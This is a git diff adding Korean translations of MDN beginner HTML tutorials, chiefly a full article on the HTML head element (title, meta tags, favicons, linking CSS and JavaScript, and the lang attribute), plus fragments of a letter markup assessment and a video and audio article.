+ <li>The five acronyms/abbreviations in the main text of the letter should be marked up to provide expansions of each acronym/abbreviation.</li>
+ <li>The six sub/superscripts should be marked up appropriately — in the chemical formulae,  and the numbers 103 and 104 (they should be 10 to the power or 3 and 4, respectively).</li>
+ <li>Try to mark up at least two appropriate words in the text with strong importance/emphasis.</li>
+ <li>There are two places where a hyperlink should be added; add appropriate links with titles. For the location that the links point to, just use http://example.com.</li>
+ <li>The university motto quote and citation should be marked up with appropriate elements.</li>
+</ul>
+
+<p>The head of the document:</p>
+
+<ul>
+ <li>The character set of the document should be specified as utf-8 using an appropriate meta tag.</li>
+ <li>The author of the letter should be specified in an appropriate meta tag.</li>
+ <li>The provided CSS should be included inside an appropriate tag.</li>
+</ul>
+
+<h2 id="Hints_and_tips">Hints and tips</h2>
+
+<ul>
+ <li>Use the <a href="https://validator.w3.org/">W3C HTML validator</a> to validate your HTML; you'll get bonus points if it validates.</li>
+ <li>You don't need to know any CSS to do this assessment; you just need to put the provided CSS inside an HTML element.</li>
+</ul>
+
+<h2 id="Example">Example</h2>
+
+<p>The following screenshot shows an example of what the letter might look like after being marked up.</p>
+
+<p><img alt="Example" src="https://mdn.mozillademos.org/files/15811/Letter%20screengrab%202.png" style="border: 1px solid black; display: block; height: 1858px; margin: 0px auto; width: 931px;"></p>
+
+<h2 id="프로젝트">프로젝트</h2>
+
+<p>If you are following this assessment as part of an organized course, you should be able to give your work to your teacher/mentor for marking. If you are self-learning, then you can get the marking guide fairly easily by asking on the <a href="https://discourse.mozilla.org/t/marking-up-a-letter-assignment/24676">discussion thread about this exercise</a>, or in the <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC channel on <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Try the exercise first — there is nothing to be gained by cheating!</p>
+
+<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li>
+</ul>
diff --git a/files/ko/learn/html/introduction_to_html/the_head_metadata_in_html/index.html b/files/ko/learn/html/introduction_to_html/the_head_metadata_in_html/index.html
new file mode 100644
index 0000000000..da87edf6ee
--- /dev/null
+++ b/files/ko/learn/html/introduction_to_html/the_head_metadata_in_html/index.html
@@ -0,0 +1,277 @@
+---
+title: head 태그에는 무엇이 있을까? HTML의 메타데이터
+slug: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML
+translation_of: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<p class="summary">HTML의 {{glossary("Head", "head")}}는 페이지를 열 때 웹 브라우저에 표시되지 않습니다. head는 {{htmlelement("title")}} 같은 페이지나, {{glossary("CSS")}}의 링크(HTML 컨텐츠를 CSS로 스타일링하기를 원한다면),  파비콘(favicon), 그리고 다른 메타데이터(작성자, 중요한 키워드와 같은 HTML에 대한 내용)를 포함합니다. 이 글에서는 위 내용들과 그 이상에 대해 다룰 것입니다. 이것은 head에 있어야하는 마크업이나 다른 코드들을 다루는데 좋은 기초가 될 것입니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전 지식:</th>
+   <td>HTML의 기본 구조, <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a>문서의 내용을 사전에 읽으면 좋습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>HTML의 head을 사용하는 목적과 HTML 문서에 어떤 영향을 끼칠 수 있는지에 대해 학습합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="HTML_head란">HTML head란?</h2>
+
+<p> <a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Anatomy_of_an_HTML_document">HTML document we covered in the previous article</a>을 다시 봅시다.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;My test page&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;This is my page&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>HTML {{htmlelement("head")}} 요소의 내용입니다. — 페이지를 열 때 브라우저에 표시되는 {{htmlelement("body")}}요소와 다르게, head의 내용는 페이지에 표시되지 않습니다. 대신에 head의 내용이 하는 일은 페이지에 대한 {{glossary("Metadata", "metadata")}}를 포함하는 것입니다. 위 예시의  head는 매우 간결합니다:</p>
+
+<pre class="brush: html">&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;My test page&lt;/title&gt;
+&lt;/head&gt;</pre>
+
+<p>더 큰 웹 페이지의 경우엔 head가 꽤 많은 항목을 가질 수 있습니다. 가장 좋아하는 홈페이지로 가서 <a href="/en-US/docs/Learn/Discover_browser_developer_tools">developer tools</a>을 이용해 head를 살펴보십시오. 이 글의 목적은 head에 들어갈 수 있는 것들 전부를 어떻게 사용하는지 보여주기 위한 것이 아니라, 주로 head에 넣고 싶어할만한 것들을 익숙하게 하고 사용하는 방법을 가르쳐주는 것입니다.</p>
+
+<h2 id="제목_달기">제목 달기</h2>
+
+<p>우리는 action에서  {{htmlelement("title")}} 요소를 이미 봤습니다. 이것은 문서의 title을 추가하기 위해 사용될 수 있습니다. head는 body에서 최상위 부분에 들어가는{{htmlelement("h1")}} 요소와 헷갈릴 수 있습니다. &lt;h1&gt; 요소는 가끔 title을 가리키기도 하지만 이것은 엄연히 다릅니다!</p>
+
+<ul>
+ <li>{{htmlelement("h1")}} 요소는 일반적으로 페이지당 한 번 씩 사용되는데, 페이지 내용물의 제목이나 뉴스의 헤드라인을 표시하기 위해서 페이지를 열 때 브라우저에 표시됩니다.</li>
+ <li>{{htmlelement("title")}}은 (문서의 컨텐츠가 아니라)  HTML문서 전체의 타이틀 표현하기 위한 메타데이터입니다. </li>
+</ul>
+
+<h3 id="능동적_학습_간단한_예제_살펴보기">능동적 학습: 간단한 예제 살펴보기</h3>
+
+<ol>
+ <li>능동적인 학습을 시작하기 위해서, GitHub repo에가서 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html">title-example.html 페이지</a>의 복사본을 다운로드 하십시오. 다음 중 하나를 하면 됩니다:
+
+  <ol>
+   <li>복사 붙여넣기를 새로운 텍스트 편집기에서 실행하고 당신이 알 만한 경로에 저장하십시오.</li>
+   <li>페이지에서 "Raw"버튼을 누르면, 새창에 Raw code가 나타납니다. 그런 다음 브라우저 메뉴에서 <em>File &gt; Save Page As...  </em>로 원하는 곳에 저장하십시오</li>
+  </ol>
+ </li>
+ <li>이제 당신의 브라우저에서 받은 파일을 여십시오.아래와 같이 보일 것입니다:
+  <p><img alt="A simple web page with the title set to &lt;title> element, and the &lt;h1> set to &lt;h1> element." src="https://mdn.mozillademos.org/files/12323/title-example.png" style="display: block; margin: 0 auto;">&lt;h1&gt;컨텐츠가 보이는 곳이 어디인지 이제 명백할 것입니다. 그리고 <code>&lt;title&gt;</code> 컨텐츠도 어디에 있는지 알 수 있습니다!</p>
+ </li>
+ <li>텍스트 편집기에서도 이것을 열 수 있습니다. 이 요소들을 변경해보고, 페이지 새로고침하면서 즐겨보십시오.</li>
+</ol>
+
+<p><code>&lt;title&gt;</code> 요소는 다른 방식으로 사용될 수도 있는데, 예를 들면 브라우저에서 사이트를 북마크할 때, <code>&lt;title&gt;</code>의 내용물을 추천하는 북마크 이름으로 사용하기도 합니다.</p>
+
+<p><img alt="A webpage being bookmarked in firefox; the bookmark name has been automatically filled in with the contents of the &lt;title> element " src="https://mdn.mozillademos.org/files/12337/bookmark-example.png" style="display: block; margin: 0 auto;"></p>
+
+<p><code>&lt;title&gt;</code>은 아래에서 보는것 처럼 검색결과로 사용되기도 합니다.</p>
+
+<h2 id="메타데이터_&lt;meta>_요소">메타데이터: &lt;meta&gt; 요소</h2>
+
+<p>메타데이터는 데이터를 설명하는 데이터이다 그리고 HTML에서 문서에 공식적으로 메타데이터를 적용하는 방법이 있습니다. — the {{htmlelement("meta")}} 요소. 물론 이 기사에서 다루고 있는 다른 것들도 메타 데이터라고 보면 됩니다. 페이지의 &lt;head&gt; 안에 다양한 형태의 <code>&lt;meta&gt;</code> 가 있습니다. 하지만 이 단계에서 모두 다루지는 않을 것입니다. 대신에 흔히 볼 수 있고 자주 쓰이는 것들에 대해 다뤄 보도록 하겠습니다.</p>
+
+<h3 id="문서의_character_인코딩을_특정하기">문서의 character 인코딩을 특정하기</h3>
+
+<p>위에서의 예제에서 , 아래의 줄이 포함됩니다:</p>
+
+<pre class="brush: html">&lt;meta charset="utf-8"&gt;</pre>
+
+<p>이 요소는 문서의 character—문서에서 허용하는 문자 집합(character set)— encoding에 대해서 간단히 표시합니다 . <code>utf-8</code> 은 전세계적인 character 집합으로 많은 언어들을 문자들을 포함합니다. 이는 웹 페이지에서 어떤 문자라도 취급할 수 있다는 것을 의미합니다. 따라서 당신이 작성할 모든 페이지에서 character 집합을 utf-8로 지정하는것은 좋은 생각입니다! 예를 들어서 당신의 웹페이지는 영어나 일본어 모두 허용합니다:</p>
+
+<p><img alt="a web page containing English and Japanese characters, with the character encoding set to universal, or utf-8. Both languages display fine," src="https://mdn.mozillademos.org/files/12343/correct-encoding.png" style="display: block; margin: 0 auto;">예시로, 만약 (라틴 알파벳 사용을 위해서) <code>ISO-8859-1</code>로 characterset을 설정한다면, 페이지가 엉망으로 렌더링 될 것입니다:</p>
+
+<p><img alt="a web page containing English and Japanese characters, with the character encoding set to latin. The Japanese characters don't display correctly" src="https://mdn.mozillademos.org/files/12341/bad-encoding.png" style="display: block; height: 365px; margin: 0px auto; width: 604px;"></p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: 크롬과 같은 어떤 브라우저는 자동으로 잘못된 인코딩을 고치기 때문에, 어떤 브라우저를 사용하는가에 따라 이 문제를 겪지 않을 수도 있습니다. 그래도 다른 브라우저에서 있을 잠재적인 문제를 피하기 위하여 인코딩을 <code>utf-8</code> 으로 설정해야 합니다.</p>
+</div>
+
+<h3 id="능동적_학습_character_인코딩_실험">능동적 학습: character 인코딩 실험</h3>
+
+<p>이것을 사용해 보기 위해 이전 섹션에서 익혔던 <code>&lt;title&gt;</code> (<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html">title-example.html page</a>)에서 얻은 간단한 HTMl 템플릿을 다시 켜고 멘타 문자 세트값을 <code>ISO-8859-1</code>로 변경한 다음, 페이지에 일본어를 추가합니다.</p>
+
+<pre class="brush: html">&lt;p&gt;Japanese example: ご飯が熱い。&lt;/p&gt;</pre>
+
+<h3 id="저자와_설명을_추가">저자와 설명을 추가</h3>
+
+<p>많은 <code>&lt;meta&gt;</code> 요소가 <code>name</code> 과 <code>content</code> 속성을 가집니다:</p>
+
+<ul>
+ <li><code>name</code> 은 메타 요소가 어떤 정보의 형태를 갖고 있는지 알려줍니다.</li>
+ <li><code>content</code>는 실제 메타데이터의 컨텐츠입니다.</li>
+</ul>
+
+<p>이러한 두가지 메타데이터는 당신의 페이지에서 관리자를 정리하고 머릿말을 요약하는데 유용합니다. 아래의 예시를 보면:</p>
+
+<pre class="brush: html">&lt;meta name="author" content="Chris Mills"&gt;
+&lt;meta name="description" content="The MDN Learning Area aims to provide
+complete beginners to the Web with all they need to know to get
+started with developing web sites and applications."&gt;</pre>
+
+<p>저자를 지정하는 것은 콘텐츠 작성자에 대한 정보를 볼 수 있게 해준다. 일부 컨텐츠 관리 시스템에는 페이지 작성자 정보를 자동으로 추출해서 사용할 수 있는 기능이 있다.</p>
+
+<p>페이지 콘텐츠 관련 키워드를 포함시키는 것은 검색엔진에서 이 페이지가 더 많이 표시 될 가능성이 생기게 할 수 있다. (이러한 활동을 <a href="/en-US/docs/Glossary/SEO">Search Engine Optimization</a>, 또는 {{glossary("SEO")}} 라고 함.)</p>
+
+<h3 id="Active_learning_The_descriptions_use_in_search_engines">Active learning: The description's use in search engines</h3>
+
+<p>이 설명은 검색엔진 결과 페이지에서도 사용된다. 한번 알아보자.</p>
+
+<ol>
+ <li>다음 링크로 간다. <a href="https://developer.mozilla.org/en-US/">front page of The Mozilla Developer Network</a>.</li>
+ <li>페이지의 소스를 본다. (Right/<kbd>Ctrl</kbd> + click on the page, choose <em>View Page Source</em> from the context menu.)</li>
+ <li>메타 태그를 찾아본다. 아마 아래와 같은 형태로 생겼을 것이다.
+  <pre class="brush: html">&lt;meta name="description" content="The Mozilla Developer Network (MDN) provides
+information about Open Web technologies including HTML, CSS, and APIs for both
+Web sites and HTML5 Apps. It also documents Mozilla products, like Firefox OS."&gt;</pre>
+ </li>
+ <li>지금 당신이 애용하는 검색엔진으로 "Mozilla Developer Network"를 찾아보라(우리는 YAHOO를 사용한다). 검색 결과를 보면, <code>&lt;meta&gt;</code> 및 <code>&lt;title&gt;</code> 요소의 컨텐츠 설명이 어떤 역할을 했는지 알 수 있을 것이다.
+  <p><img alt='A Yahoo search result for "Mozilla Developer Network"' src="https://mdn.mozillademos.org/files/12347/search-result.png" style="display: block; margin: 0 auto;"></p>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: Google에서는 메인 MDN 홈페이지 링크 아래에 MDN의 몇 가지 관련 서브 페이지가 표시된다. 이를 사이트 링크라고하며 Google의 웹 마스터 도구에서 구성 할 수 있다. 그리고 이는 Google 검색 엔진에서 사이트의 검색 결과를 개선하는 방법이다.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: 많은 <code>&lt;meta&gt;</code> 기능들이 더이상 사용되지 않는다. (예를들어 <code>&lt;meta name="keywords" content="fill, in, your, keywords, here"&gt;</code> 같은, 다른 검색 용어에 대해 해당 페이지의 관련성을 부여하기 위해 검색 엔진에 제공하던 키워드 등..)  스팸 발송자들이 키워드 목록에 수백 개의 키워드를 채워버리는 악용 사례가 생겨 버렸기 때문에 이것들은 검색 엔진들이 아예 무시를 해버리게 되었다.</p>
+</div>
+
+<h3 id="Other_types_of_metadata">Other types of metadata</h3>
+
+<p>웹페이지를 돌아다니다 보면 다른 종류의 메타데이터들을 꽤 많이 볼 수 있다. 웹 사이트에서 볼 수있는 기능들은 특정 사이트 (예 : 소셜 네트워킹 사이트)에 사용할 수있는 특정 정보를 제공하도록 설계된 독점 제작물이다.</p>
+
+<p><a href="http://ogp.me/">Open Graph Data</a> 는 Facebook이 웹 사이트에 더 풍부한 메타 데이터를 제공하기 위해 발명한 메타 데이터 프로토콜이다. MDN 소스코드에서 다음과 같은 부분을 볼 수 있을 것이다.</p>
+
+<pre class="brush: html">&lt;meta property="og:image" content="https://developer.cdn.mozilla.net/static/img/opengraph-logo.dc4e08e2f6af.png"&gt;
+&lt;meta property="og:description" content="The Mozilla Developer Network (MDN) provides
+information about Open Web technologies including HTML, CSS, and APIs for both Web sites
+and HTML5 Apps. It also documents Mozilla products, like Firefox OS."&gt;
+&lt;meta property="og:title" content="Mozilla Developer Network"&gt;</pre>
+
+<p>Facebook에서 MDN에 링크를 하면, 이미지와 설명이 함께 나타난다. 사용자에게는 더 좋은 정보를 보여줄 수 있는 것이다.</p>
+
+<p><img alt="Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description." src="https://mdn.mozillademos.org/files/12349/facebook-output.png" style="display: block; margin: 0 auto;">Twitter 에서도 유사한 형태의 독점적인 자체 메타데이터를 가지고 있는데, 특정 웹사이트의 url이 twitter.com에 표시 될 때와 유사한 효과가 있다.</p>
+
+<pre class="brush: html">&lt;meta name="twitter:title" content="Mozilla Developer Network"&gt;</pre>
+
+<h2 id="맞춤_아이콘_추가하기">맞춤 아이콘 추가하기</h2>
+
+<p>당신의 사이트 디자인을 좀 더 풍성하게 만들기 위해서 , 당신은 커스텀 아이콘 레퍼런스를 매타데이터에 추가하고 특정 콘텐츠에서 이것을 보여지게 할 수 있다.</p>
+
+<p>The humble favicon, which has been around for many years, was the first icon of this type, a 16 x 16 pixel icon used in multiple places. 각 열린 페이지의 탭이나 북마크 패널 페이지 쪽에서 favicon을 볼 수 있다.</p>
+
+<p>favicon은 다음과 같이 너의 사이트에 추가할 수 있다:</p>
+
+<ol>
+ <li>당신의 사이트의 인덱스 페이지와 같은 디렉토리에  <code>.ico</code> 포멧의 파일을 저장하라 (most browsers will support favicons in more common formats like <code>.gif</code> or <code>.png</code>, but using the ICO format will ensure it works as far back as Internet Explorer 6.)</li>
+ <li><code>다음 줄을 HTML &lt;head&gt;에 추가하여 favicon을 참조하라</code>:
+  <pre class="brush: html">&lt;link rel="shortcut icon" href="favicon.ico" type="image/x-icon"&gt;</pre>
+ </li>
+</ol>
+
+<p>북마크 페널의 페비콘이 그 예시이다:</p>
+
+<p><img alt="The Firefox bookmarks panel, showing a bookmarked example with a favicon displayed next to it." src="https://mdn.mozillademos.org/files/12351/bookmark-favicon.png" style="display: block; margin: 0 auto;"></p>
+
+<p>요즘은 많은 다른 아이콘 타입이 있다. 예를 들어서 MDN 홈페이지에서 다음과 같은 것을 발견할 것이다:</p>
+
+<pre class="brush: html">&lt;!-- third-generation iPad with high-resolution Retina display: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://developer.cdn.mozilla.net/static/img/favicon144.a6e4162070f4.png"&gt;
+&lt;!-- iPhone with high-resolution Retina display: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://developer.cdn.mozilla.net/static/img/favicon114.0e9fabd44f85.png"&gt;
+&lt;!-- first- and second-generation iPad: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://developer.cdn.mozilla.net/static/img/favicon72.8ff9d87c82a0.png"&gt;
+&lt;!-- non-Retina iPhone, iPod Touch, and Android 2.1+ devices: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" href="https://developer.cdn.mozilla.net/static/img/favicon57.a2490b9a2d76.png"&gt;
+&lt;!-- basic favicon --&gt;
+&lt;link rel="shortcut icon" href="https://developer.cdn.mozilla.net/static/img/favicon32.e02854fdcf73.png"&gt;</pre>
+
+<p>주석은 각 아이콘의 용도를 설명한다. 웹사이트가 iPad의 홈 화면에 저장 될 때 사용할 고해상도 아이콘을 제공하는 것 등을 포함한다.</p>
+
+<p>지금 당장 모든 아이콘을 구현할 줄 알아야 한다는 성급한 부담을 가질 필요는 없다. 이것은 고급 기능에 속하기도 하며, 이번 과정을 통해 여러 '지식'을 습득해야 가능하다. 이 페이지의 주된 목적은 다른 웹사이트의 소스 코드를 보며 그 '지식'을 습득할 수 있도록 하려는데에 있다.</p>
+
+<h2 id="HTML에_CSS_와_JavaScript_적용하기">HTML에 CSS 와 JavaScript 적용하기</h2>
+
+<p>현대의 모든 웹사이트는 상호작용 기능이 많은 영상 플레이어, 지도, 게임 등을 위해  {{glossary("JavaScript")}}가 필요하고, 이것들을 더 멋져 보이게 하기 위해 {{glossary("CSS")}}가 사용된다. 이것들은 {{htmlelement ( "link")}} 요소와 {{htmlelement ( "script")}} 요소를 사용하여 웹 페이지에 가장 일반적으로 적용된다.</p>
+
+<ul>
+ <li>
+  <p>{{htmlelement("link")}}는 항상 문서의 head 부분에 위치한다. 이것은 두 가지 속성을 취하는데, rel="stylesheet", 즉 문서의 스타일 시트임을 나타냄과 동시에 스타일 시트 파일의 경로를 포함하는 href를 내포한다.</p>
+
+  <pre class="brush: html">&lt;link rel="stylesheet" href="my-css-file.css"&gt;</pre>
+ </li>
+ <li>
+  <p>{{htmlelement("script")}} 는 head에 들어갈 필요가 없다. <code>&lt;/body&gt;</code> 태그 바로 앞, 문서 본문의 맨 끝에 넣는 것이 좋으며, JavaScript를 적용하기 전에 모든 HTML 내용을 브라우저에서 읽었는지 확인하는 것이 좋다. 액세스 과정에서 JavaScript가 아직 존재하지 않는 요소라고 판단하며 에러가 날 수 있다.</p>
+
+  <pre class="brush: html">&lt;script src="my-js-file.js"&gt;&lt;/script&gt;</pre>
+
+  <p><strong>Note</strong>: <code>&lt;script&gt;</code> 태그가 비어있다고 보일 수 도 있지만 그렇지 않으며, 반드시 태그를 닫아주어야 한다(&lt;/script&gt;). 외부 스크립트 파일을 지정하는 대신 스크립트를 <code>&lt;script&gt;</code> 안에 넣을 수 도 있다.</p>
+ </li>
+</ul>
+
+<h3 id="Active_learning_applying_CSS_and_JavaScript_to_a_page">Active learning: applying CSS and JavaScript to a page</h3>
+
+<ol>
+ <li>이 실습을 시작하려면, 같은 로컬 디렉토리 안에 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html">meta-example.html</a>, <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/script.js">script.js</a> 그리고 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/style.css">style.css</a> 파일을 미리 만들어 놓아야 한다. 올바른 이름과 파일 확장자로 저장되어 있는지 확인하는 것도 필수!</li>
+ <li>애용하는 브라우져에서 HTML 파일을 열고, 텍스트 에디터도 실행한다.</li>
+ <li>위에서 나온 설명대로 CSS와 JavaScript가 HTMl에 적용되도록 HTML에 {{htmlelement("link")}} 및 {{htmlelement("script")}} 를 추가한다.</li>
+</ol>
+
+<p>HTML을 저장하고 브라우저를 새로 고치면 올바르게 변경된 것이다:</p>
+
+<p><img alt="Example showing a page with CSS and JavaScript applied to it. The CSS has made the page go green, whereas the JavaScript has added a dynamic list to the page." src="https://mdn.mozillademos.org/files/12359/js-and-css.png" style="display: block; margin: 0 auto;"></p>
+
+<ul>
+ <li>JavaScript가 빈 목록을 페이지에 추가했다. 이제 목록의 아무 곳이나 클릭하면 새 목록 항목에 대한 텍스트를 입력하라는 대화 상자가 나타난다. OK 버튼을 누르면 새로운 목록 아이템이 추가된다. 기존에 있던 목록의 아이템을 클릭하면 해당 아이템의 텍스트를 변경 할 수 있는 대화 상자가 나타난다.</li>
+ <li>CSS에 의해 배경이 녹색으로 변하고 텍스트가 커진다. 그리고 javaScript가 페이지에 추가 한 일부 스타일도 적용된다(검은색 테두리가 있는 빨간색 공간).</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: CSS나 JS를 적용하는데서 부터 애를 먹고 있으면 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/css-and-js.html">css-and-js.html</a> 페이지를 참고하기를 추천한다.</p>
+</div>
+
+<h2 id="문서의_기본_언어_설정">문서의 기본 언어 설정</h2>
+
+<p>마지막으로, 페이지의 언어를 설정 할 수도 있다. 이 작업은 <a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang attribute</a> 을 여는 HTML 태그에 추가하여 수행 할 수 있다. (<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html">meta-example.html</a> 과 아래 참조)</p>
+
+<pre class="brush: html">&lt;html lang="en-US"&gt;</pre>
+
+<p>이것은 여러 방면에서 유용하다. HTML 문서는 언어가 설정되어 있으면 검색 엔진에 의해 보다 효과적으로 색인화되며(예를 들어 언어 별 결과에 올바르게 표시되도록..) 화면 판독기를 사용하여 시각장애가 있는 사용자에게 유용하다.(예: 6이라는 숫자는 프랑스어와 영어에서 모두 존재하지만, 각기 다른 발음이 적용된다.)</p>
+
+<p>또한, 문서의 하위 섹션을 다른 언어로 인식하도록 설정할 수도 있다. 예를들어 다음과 같이 일본어 일본어로 된 섹션에 대해서는 일본어로 인식하도록 할 수 있다:</p>
+
+<pre class="brush: html">&lt;p&gt;Japanese example: &lt;span lang="jp"&gt;ご飯が熱い。&lt;/span&gt;.&lt;/p&gt;</pre>
+
+<p>이 코드는 <a href="https://en.wikipedia.org/wiki/ISO_639-1">ISO 639-1</a> 표준에 따른다. <a href="https://www.w3.org/International/articles/language-tags/">Language tags in HTML and XML</a> 에서 자세한 내용을 확인할 수 있다.</p>
+
+<h2 id="요약">요약</h2>
+
+<p>HTML head에 대한 퀵 파이어 투어가 마무리 되었다. 여기에서 보고 할 수 있는 것보다 훨씬 많은 부분이 있지만, 지금 단계에서는 복잡하거나 어렵게 느껴질 수도 있을 것이고 단지 당신에게 지극히 일반적이고 기초적인 사용법만을 제시했을 뿐이다.  </p>
+
+<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li>
+</ul>
diff --git a/files/ko/learn/html/multimedia_and_embedding/ideo_and_audio_content/index.html b/files/ko/learn/html/multimedia_and_embedding/ideo_and_audio_content/index.html
new file mode 100644
index 0000000000..d6930ac381
--- /dev/null
+++ b/files/ko/learn/html/multimedia_and_embedding/ideo_and_audio_content/index.html
@@ -0,0 +1,327 @@
+---
+title: 비디오 그리고 오디오 컨텐츠
+slug: Learn/HTML/Multimedia_and_embedding/ideo_and_audio_content
+translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}</div>
+
+<p class="summary">이제 우리는 웹페이지에 간단한 이미지를 추가하는 것에 익숙해졌으므로, 다음 단계는 HTML 문서에 비디오와 오디오 플레이어를 추가하는 것이다! 이 기사에서는 <span class="seoSummary">{{htmlelement("video")}}</span>와 <span class="seoSummary">{{htmlelement("audio")}}</span>  요소들로 그렇게 하는 것에 대해 살펴보고, 동영상에 캡션/자막을 추가하는 방법을 살펴봄으로써 마무리하겠다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전 지식:</th>
+   <td>기본 컴퓨터 사용능력, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 작업에 대한 기본 지식</a>, HTML 기본 원리(<a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML 시작에서 다룬 내용</a>) 및 <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML의 이미지</a></td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>비디오 및 오디오 컨텐츠를 웹 페이지에 포함시키고 비디오에 캡션/자막을 추가하는 방법을 배웁니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="웹_상에서_비디오_그리고_오디오">웹 상에서 비디오 그리고 오디오</h2>
+
+<p>Web developers have wanted to use video and audio on the Web for a long time, ever since the early 2000s when we started to have bandwidth fast enough to support any kind of video (video files are much larger than text or even images.) In the early days, native web technologies such as HTML didn't have the ability to embed video and audio on the Web, so proprietary (or plugin-based) technologies like <a href="https://en.wikipedia.org/wiki/Adobe_Flash">Flash</a> (and later, <a href="https://en.wikipedia.org/wiki/Microsoft_Silverlight">Silverlight</a>) became popular for handling such content. This kind of technology worked ok, but it had a number of problems, including not working well with HTML/CSS features, security issues, and accessibility issues.</p>
+
